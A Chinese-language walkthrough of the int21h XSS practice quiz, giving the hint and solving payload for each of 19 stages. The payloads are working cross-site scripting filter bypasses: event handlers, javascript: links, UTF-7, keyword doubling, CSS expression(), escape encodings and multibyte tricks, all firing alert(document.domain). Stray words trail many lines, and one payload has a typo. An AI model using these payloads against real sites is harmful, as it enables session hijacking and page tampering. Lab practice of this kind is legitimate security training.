Stage #1: http://xss-quiz.int21h.jp/?sid=2a75ff06e0147586b7ceb0fe68ee443b86a6e7b9javascript
Hint: very simple...php
按照要求輸入<script>alert(document.domain);</script>html
過關java
Stage #2 http://xss-quiz.int21h.jp/stage2.php?sid=9532df794eb7055cab4e31fbac353c0df1960148express
Hint: close the current tag and add SCRIPT tag...(關閉當前標記並添加SCRIPT標記...)dom
因此:"><script>alert(document.domain);</script>xss
過關ide
Stage #3 http://xss-quiz.int21h.jp/stage-3.php?sid=5a47bf8bf0dd8ce20b80f1622b66b7b061b88c7a工具
Hint: The input in text box is properly escaped.( 文本框中的輸入已正確轉義。)ui
所以要換個思路,文本框不行,那選擇國家的框應該能夠
打開調試元素,將Japan改成<script>alert(document.domain);</script>
文本框隨便輸入便可,過關
Stage #4 http://xss-quiz.int21h.jp/stage_4.php?sid=379f6925f33df5c6ad079263f65a97d8527fd6e3
Hint: invisible input field(不可見的輸入字段)
嘗試在search和country處插入xss,可是查看源碼發現都被轉義了,發現有個p3是hidden,因此改元素爲text,看源碼須要閉合
在p3裏邊插入"><script>alert(document.domain);</script>便可
過關
Stage #5 http://xss-quiz.int21h.jp/stage--5.php?sid=e65c978171f6ccab00dd94ae4d93428f566a88b3
Hint: length limited text box(限制了長度)
調試元素改大些長度便可
"><script>alert(document.domain);</script>
過關
Stage #6 http://xss-quiz.int21h.jp/stage-no6.php?sid=fb52b1908dfa916733f61c08a2942e03f11b0894
Hint: event handler attributes(事件處理程序屬性)
" onmousemove="alert(document.domain)或" onclick=alert(document.domain) id="a,建議每次嘗試以後都看下源代碼
過關
Stage #7 http://xss-quiz.int21h.jp/stage07.php?sid=2e71a47a9c7061dcce2b9205b52f4252bd53b443
Hint: nearly the same... but a bit more tricky.( 差很少......但有點棘手)
和第六題差很少,
和上一關同樣,這裏的"<>都被轉義了
但事實上,用" onclick=alert(document.domain)仍是能夠插入,由於前面的"不影響後面的onlick點擊事件
還有一種方法:1 onmouseover=alert(document.domain);
onmouseover:事件會在鼠標指針移動到指定的元素上時發生。
過關
Stage #8 http://xss-quiz.int21h.jp/stage008.php?sid=9a2b87b21da3ee6de99244f62cae1f131d34761b
Hint: the 'javascript' scheme.(JavaScript樣式)
javascript:alert(document.domain),而後出現個鏈接點擊便可
過關
Stage #9 http://xss-quiz.int21h.jp/stage_09.php?sid=1aa32193e5e2adf2cee55de0b03e2a01494b4ba3
Hint: UTF-7 XSS
"<>都被轉義了,固然也不能用onmouseover和onclick,根據提示,用UTF-7編碼解碼工具,將" onmousemove="alert(document.domain)轉爲UTF-7編碼:
+ACIAIABvAG4AbQBvAHUAcwBlAG0AbwB2AGUAPQAiAGEAbABlAHIAdAAoAGQAbwBjAHUAbQBlAG4AdAAuAGQAbwBtAGEAaQBuACk-
而且修改charset爲type=text,輸入:UTF-7,不過不用IE7很難實驗成功,或許能夠抓包來提交。
過關
Stage #10 http://xss-quiz.int21h.jp/stage00010.php?sid=718360225fa9356a42c30995f38b5142c3496f6a
Hint: s/domain//g;()
可見它把domain過濾了,所以採用雙寫繞過
"><script>alert(document.domdomainain)</script>
過關
Stage #11 http://xss-quiz.int21h.jp/stage11th.php?sid=bddea6ab0140e0b9ec340ea96a8c8cabe33d4704
Hint: "s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;"
將script,on[a-z],style都過濾了
要將script中的某個字符轉爲unicode編碼,或者能夠插入	不可見字符
"><a href="javascr	ipt:alert(document.domain);">12</a>
過關
Stage #12 http://xss-quiz.int21h.jp/stage_no012.php?sid=67fd73a52db60e5548bec6d4f987ed1d89da5192
Hint: "s/[\x00-\x20\<\>\"\']//g;"
<>"被過濾,根據提示能夠知道x00-,x20,<,>,",'都被過濾了,可是`還沒被過濾,因而能夠用`加上onclick,onmouseover,onfocus都可,還有一個前提是IE,只有IE纔有這個特性
不過我實驗是沒成功 ``onfocus=alert(document.domain)
Stage #13 http://xss-quiz.int21h.jp/stage13_0.php?sid=fd464a9d8a5423665d405be5344f9e36de07b421
Hint: style attribute(樣式屬性)
在CSS樣式中利用expression實現javascript中的onmouseover或onmouseout事件,一樣前提是IE
1:expression(onmouseover=function(){alert(document.domain)})
background-color:salmon;input:expression((window.x==1)?'':(window.x=1,alert(document.domain)))(大佬的操做)
過關
Stage #14 http://xss-quiz.int21h.jp/stage-_-14.php?sid=0dd23c002d3920ff6a98176664e549f4e383dad7
Hint: s/(url|script|eval|expression)/xxx/ig;
1:expre/**/ssion(onmouseover=function(){alert(document.domain)})
background-color:salmon;input:e/**/xpression((window.x==1)?'':(window.x=1,alert(document.domain)))
過關
Stage #15 http://xss-quiz.int21h.jp/stage__15.php?sid=f4ea45c94f90166a2554b794c2edc7b36a0b08e1
Hint: document.write();
換成16進制編碼\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
換成Unicode編碼\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
過關
Stage #16 http://xss-quiz.int21h.jp/stage00000016.php?sid=5893e43e2e6b5f621d2007deab0a0f006013cea7
Hint: "document.write();" and "s/\\x/\\\\x/ig;"
換成Unicode編碼\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
換成十進制\\74script\\76ealert(document.domain);\\74/script\\76
過關
Stage #17 http://xss-quiz.int21h.jp/stage-No17.php?sid=a207c91d7b4cb2634e277df104c853554347e8ca
Hint: multi-byte character
思路相似於寬字節注入,利用特殊字節吃掉雙引號,因而抓包修改p1,p2
p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7
過關
Stage #18 http://xss-quiz.int21h.jp/stage__No18.php?sid=15c9386e00551aa38970020b68c2bf714f23d132
Hint: us-ascii high bit issue
將每一個字符的二進制最高位置爲1,而後再轉爲16進制
故"><script>alert(document.domain)</scirpt> 就轉換爲%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE
過關
Stage #19 http://xss-quiz.int21h.jp/stage_--19.php?sid=8e654fc6c2fe93f2c8bd38fbc6ad6b1588d859c7
Hint: Twitter DomXss at Sep 24, 2010
感謝:https://www.cnblogs.com/sherlock17/p/6700430.htmlhttp://blog.knownsec.com/Knownsec_RD_Checklist/xss/xss_quiz.txt